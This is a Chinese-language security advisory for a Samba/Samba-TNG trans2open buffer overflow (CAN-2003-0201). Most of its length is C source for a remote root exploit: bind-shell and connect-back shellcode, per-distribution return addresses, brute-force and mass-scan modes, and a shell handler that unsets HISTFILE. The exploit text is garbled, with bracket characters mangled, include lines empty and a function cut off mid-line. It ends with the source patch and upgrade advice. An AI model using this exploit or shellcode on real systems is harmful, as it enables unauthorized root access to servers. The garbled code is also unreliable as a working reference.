涉及程序: Samba/Samba-TNG 描述: Samba存在缓冲溢出缺陷 详细: Samba是一款开放源代码的自由软件,向SMB/CIFS客户端提供跨平台文件共享和打印共享服务。Samba-TNG是由Samba衍生的版本,相当于Windows NT domain控制器。 Samba程序由于对输入没有进行正确的边界缓冲区检查,导致存在缓冲溢出缺陷,能使匿名用户在目标机器上获得远程root权限: StrnCpy(fname,pname,namelen); /* Line 252 of smbd/trans2.c */ 在trans2.c文件的call_trans2open函数中,Samba StrnCpy函数使用namelen将pname拷贝到fname中。如果namelen变量值为strlen(pname)+1,将导致触发缓冲溢出缺陷。 fname是一个大小为1024字节的_typedef_ pstring类型的变量,如果pname函数大小超过1024字节,将触发该缺陷。攻击者通过向目标机器发送精心构造的数据,能在目标机器上获得root权限。 受影响的版本: Samba 2.2.8版及其之前的版本; Samba 2.0.10版及其之前的版本; Samba-TNG 0.3.1版及其之前的版本 攻击方法: 示例代码: #include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef struct { unsigned char type; unsigned char flags; unsigned short length; } NETBIOS_HEADER; typedef struct { unsigned char protocol<4>; unsigned char command; unsigned short status; unsigned char reserved; unsigned char flags; unsigned short flags2; unsigned char pad<12>; unsigned short tid; unsigned short pid; unsigned short uid; unsigned short mid; } SMB_HEADER; int OWNED = 0; pid_t childs<100>; struct sockaddr_in addr1; struct sockaddr_in addr2; char linux_bindcode<> = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; char bsd_bindcode<> = "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0" "\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02" "\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80" "\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57" "\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89" "\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50" "\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80" "\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56" "\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd" "\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b" "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80" "\xeb\x9a"; char linux_connect_back<> = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51" "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3" "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1" "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" "\x01\xcd\x80"; char bsd_connect_back<> = "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0" "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef" "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0" "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52" "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31" "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54" "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; struct { char *type; unsigned long ret; char *shellcode; int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec stack */ } targets<> = { { "samba-2.2.x - Debian 3.0 ", 0xbffffea2, linux_bindcode,0 }, { "samba-2.2.x - Gentoo 1.4.x ", 0xbfffe890, linux_bindcode,0 }, { "samba-2.2.x - Mandrake 8.x ", 0xbffff6a0, linux_bindcode,0 }, { "samba-2.2.x - Mandrake 9.0 ", 0xbfffe638, linux_bindcode,0 }, { "samba-2.2.x - Redhat 9.0 ", 0xbffff7cc, linux_bindcode,0 }, { "samba-2.2.x - Redhat 8.0 ", 0xbffff2f0, linux_bindcode,0 }, { "samba-2.2.x - Redhat 7.x ", 0xbffff310, linux_bindcode,0 }, { "samba-2.2.x - Redhat 6.x ", 0xbffff2f0, linux_bindcode,0 }, { "samba-2.2.x - Slackware 9.0 ", 0xbffff574, linux_bindcode,0 }, { "samba-2.2.x - Slackware 8.x ", 0xbffff574, linux_bindcode,0 }, { "samba-2.2.x - SuSE 7.x ", 0xbffffbe6, linux_bindcode,0 }, { "samba-2.2.x - SuSE 8.x ", 0xbffff8f8, linux_bindcode, 0 }, { "samba-2.2.x - FreeBSD 5.0 ", 0xbfbff374, bsd_bindcode,1 }, { "samba-2.2.x - FreeBSD 4.x ", 0xbfbff374, bsd_bindcode,1 }, { "samba-2.2.x - NetBSD 1.6 ", 0xbfbfd5d0, bsd_bindcode,1 }, { "samba-2.2.x - NetBSD 1.5 ", 0xbfbfd520, bsd_bindcode,1 }, { "samba-2.2.x - OpenBSD 3.2 ", 0x00159198, bsd_bindcode,2 }, { "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode,2 }, { "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode,2 }, { "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode,2 }, { "Crash (All platforms) ", 0xbade5dee, linux_bindcode,0 }, }; void shell(); void usage(); void handler(); int is_samba(char *ip, unsigned long time_out); int Connect(int fd, char *ip, unsigned int port, unsigned int time_out); int read_timer(int fd, unsigned int time_out); int write_timer(int fd, unsigned int time_out); int start_session(int sock); int exploit_normal(int sock, unsigned long ret, char *shellcode); int exploit_openbsd32(int sock, unsigned long ret, char *shellcode); void usage(char *prog) { fprintf(stderr, "Usage: %s <-bBcCdfprsStv>
\n\n" "-b
bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n" "-B
bruteforce steps (default = 300)\n" "-c
connectback ip address\n" "-C
max childs for scan/bruteforce mode (default = 40)\n" "-d
bruteforce/scanmode delay in micro seconds (default = 100000)\n" "-f force\n" "-p
port to attack (default = 139)\n" "-r
return address\n" "-s scan mode (random)\n" "-S
scan mode\n" "-t
presets (0 for a list)\n" "-v verbose mode\n\n", prog); exit(1); } int is_samba(char *ip, unsigned long time_out) { char nbtname<>= /* netbios name packet */ { 0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41, 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, 0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21, 0x00,0x01 }; unsigned char recv_buf<1024>; unsigned char *ptr; int i = 0; int s = 0; unsigned int total = 0; if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1; if(Connect(s, ip, 137, time_out) == -1) { close(s); return -1; } memset(recv_buf, 0x00, sizeof(recv_buf)); if(write_timer(s, time_out) == 1) { if (write(s, nbtname, sizeof(nbtname)) <= 0) { close(s); return -1; } } if (read_timer(s, time_out) == 1) { if (read(s, recv_buf, sizeof(recv_buf)) <= 0) { close(s); return -1; } ptr = recv_buf + 57; total = *(ptr - 1); /* max names */ while(ptr < recv_buf + sizeof(recv_buf)) { ptr += 18; if (i == total) { ptr -= 19; if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 & & *(ptr + 3) == 0x00 && *(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 & & *(ptr + 6) == 0x00) { close(s); return 0; } close(s); return 1; } i++; } } close(s); return -1; } int Connect(int fd, char *ip, unsigned int port, unsigned int time_out) { /* ripped from no1 */ int flags; int select_status; fd_set connect_read, connect_write; struct timeval timeout; int getsockopt_length = 0; int getsockopt_error = 0; struct sockaddr_in server; bzero(&server, sizeof(server)); server.sin_family = AF_INET; inet_pton(AF_INET, ip, &server.sin_addr); server.sin_port = htons(port); if((flags = fcntl(fd, F_GETFL, 0)) < 0) { close(fd); return -1; } if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) { close(fd); return -1; } timeout.tv_sec = time_out; timeout.tv_usec = 0; FD_ZERO(&connect_read); FD_ZERO(&connect_write); FD_SET(fd, &connect_read); FD_SET(fd, &connect_write); if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) { if(errno != EINPROGRESS) { close(fd); return -1; } } else { if(fcntl(fd, F_SETFL, flags) < 0) { close(fd); return -1; } return 1; } select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout); if(select_status == 0) { close(fd); return -1; } if(select_status == -1) { close(fd); return -1; } if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) { if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) { getsockopt_length = sizeof(getsockopt_error); if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) { errno = ETIMEDOUT; close(fd); return -1; } if(getsockopt_error == 0) { if(fcntl(fd, F_SETFL, flags) < 0) { close(fd); return -1; } return 1; } else { errno = getsockopt_error; close(fd); return (-1); } } } else { close(fd); return 1; } if(fcntl(fd, F_SETFL, flags) < 0) { close(fd); return -1; } return 1; } int read_timer(int fd, unsigned int time_out) { /* ripped from no1 */ int flags; int select_status; fd_set fdread; struct timeval timeout; if((flags = fcntl(fd, F_GETFL, 0)) < 0) { close(fd); return (-1); } if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) { close(fd); return (-1); } timeout.tv_sec = time_out; timeout.tv_usec = 0; FD_ZERO(&fdread); FD_SET(fd, &fdread); select_status = select(fd + 1, &fdread, NULL, NULL, &timeout); if(select_status == 0) { close(fd); return (-1); } if(select_status == -1) { close(fd); return (-1); } if(FD_ISSET(fd, &fdread)) { if(fcntl(fd, F_SETFL, flags) < 0) { close(fd); return -1; } return 1; } else { close(fd); return 1; } } int write_timer(int fd, unsigned int time_out) { /* ripped from no1 */ int flags; int select_status; fd_set fdwrite; struct timeval timeout; if((flags = fcntl(fd, F_GETFL, 0)) < 0) { close(fd); return (-1); } if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) { close(fd); return (-1); } timeout.tv_sec = time_out; timeout.tv_usec = 0; FD_ZERO(&fdwrite); FD_SET(fd, &fdwrite); select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout); if(select_status == 0) { close(fd); return -1; } if(select_status == -1) { close(fd); return -1; } if(FD_ISSET(fd, &fdwrite)) { if(fcntl(fd, F_SETFL, flags) < 0) { close(fd); return -1; } return 1; } else { close(fd); return -1; } } void shell(int sock) { fd_set fd_read; char buff<1024>, *cmd="unset HISTFILE; echo \"*** JE MOET JE MUIL HOUWE\";uname -a;id;\n"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break; if (FD_ISSET(sock, &fd_read)) { if((n = recv(sock, buff, sizeof(buff), 0)) < 0){ fprintf(stderr, \"EOF\\n\"); exit(2); } if (write(1, buff, n) < 0) break; } if (FD_ISSET(0, &fd_read)) { if((n = read(0, buff, sizeof(buff))) < 0){ fprintf(stderr, \"EOF\\n\"); exit(2); } if (send(sock, buff, n, 0) < 0) break; } usleep(10); } fprintf(stderr, \"Connection lost.\\n\\n\"); exit(0); } void handler() { int sock = 0; int i = 0; OWNED = 1; for (i = 0; i < 100; i++) if (childs
!= 0xffffffff) waitpid(childs, NULL, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) { close(sock); exit(1); } if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) { fprintf(stdout, \"+ Worked!\\n\" \"--------------------------------------------------------------\\n\"); shell(sock); close(sock); } } int start_session(int sock) { char buffer<1000>; char response<4096>; char session_data1<> = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00"; char session_data2<> = \"\\x00\\x00\\x00\\x00\\x5c\\x5c\\x69\\x70\\x63\\x24\\x25\\x6e\\x6f\\x62\\x6f\\x64\\x79\" \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x50\\x43\\x24\"; NETBIOS_HEADER *netbiosheader; SMB_HEADER *smbheader; memset(buffer, 0x00, sizeof(buffer)); netbiosheader = (NETBIOS_HEADER *)buffer; smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER)); netbiosheader->type = 0x00; /* session message */ netbiosheader->flags = 0x00; netbiosheader->length = htons(0x2E); smbheader->protocol<0> = 0xFF; smbheader->protocol<1> = \`S\`; smbheader->protocol<2> = \`M\`; smbheader->protocol<3> = \`B\`; smbheader->command = 0x73; /* session setup */ smbheader->flags = 0x08; /* caseless pathnames */ smbheader->flags2 = 0x01; /* long filenames supported */ smbheader->pid = getpid() & 0xFFFF; smbheader->uid = 100; smbheader->mid = 0x01; memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1); if(write_timer(sock, 3) == 1) if (send(sock, buffer, 50, 0) < 0) return -1; memset(response, 0x00, sizeof(response)); if (read_timer(sock, 3) == 1) if (read(sock, response, sizeof(response) - 1) < 0) return -1; netbiosheader = (NETBIOS_HEADER *)response; smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER)); if (netbiosheader->type != 0x00) fprintf(stderr, \"+ Recieved a non session message\\n\"); netbiosheader = (NETBIOS_HEADER *)buffer; smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER)); memset(buffer, 0x00, sizeof(buffer)); netbiosheader->type = 0x00; /* session message */ netbiosheader->flags = 0x00; netbiosheader->length = htons(0x3C); smbheader->protocol<0> = 0xFF; smbheader->protocol<1> = \`S\`; smbheader->protocol<2> = \`M\`; smbheader->protocol<3> = \`B\`; smbheader->command = 0x70; /* start connection */ smbheader->pid = getpid() & 0xFFFF; smbheader->tid = 0x00; smbheader->uid = 100; memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1); if(write_timer(sock, 3) == 1) if (send(sock, buffer, 64, 0) < 0) return -1; memset(response, 0x00, sizeof(response)); if (read_timer(sock, 3) == 1) if (read(sock, response, sizeof(response) - 1) < 0) return -1; netbiosheader = (NETBIOS_HEADER *)response; smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER)); if (netbiosheader->type != 0x00) return -1; return 0; } int exploit_normal(int sock, unsigned long ret, char *shellcode) { char buffer<4000>; char exploit_data<> = \"\\x00\\xd0\\x07\\x0c\\x00\\xd0\\x07\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \"\\x00\\xd0\\x07\\x43\\x00\\x0c\\x00\\x14\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \"\\x00\\x00\\x00\\x90\"; int i = 0; unsigned long dummy = ret - 0x90; NETBIOS_HEADER *netbiosheader; SMB_HEADER *smbheader; memset(buffer, 0x00, sizeof(buffer)); netbiosheader = (NETBIOS_HEADER *)buffer; smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER)); netbiosheader->type = 0x00; /* session message */ netbiosheader->flags = 0x04; netbiosheader->length = htons(2096); smbheader->protocol<0> = 0xFF; smbheader->protocol<1> = \`S\`; smbheader->protocol<2> = \`M\`; smbheader->protocol<3> = \`B\`; smbheader->command = 0x32; /* SMBtrans2 */ smbheader->tid = 0x01; smbheader->uid &nbs 解决方案: 临时解决方法: 修改Samba 2.2.8版smbd/trans2.c文件第250行的源代码: -StrnCpy(fname,pname,namelen); +StrnCpy(fname,pname,MIN(namelen, sizeof(fname)-1)) Samba 2.2.8a版修正了该缺陷,请用户及时关注厂商站点进行升级: http://www.samba.org/ Samba-TNG 0.3.2版修正了该缺陷,请用户及时关注厂商站点进行升级: http://www.samba-tng.org/ 附加信息: CAN-2003-0201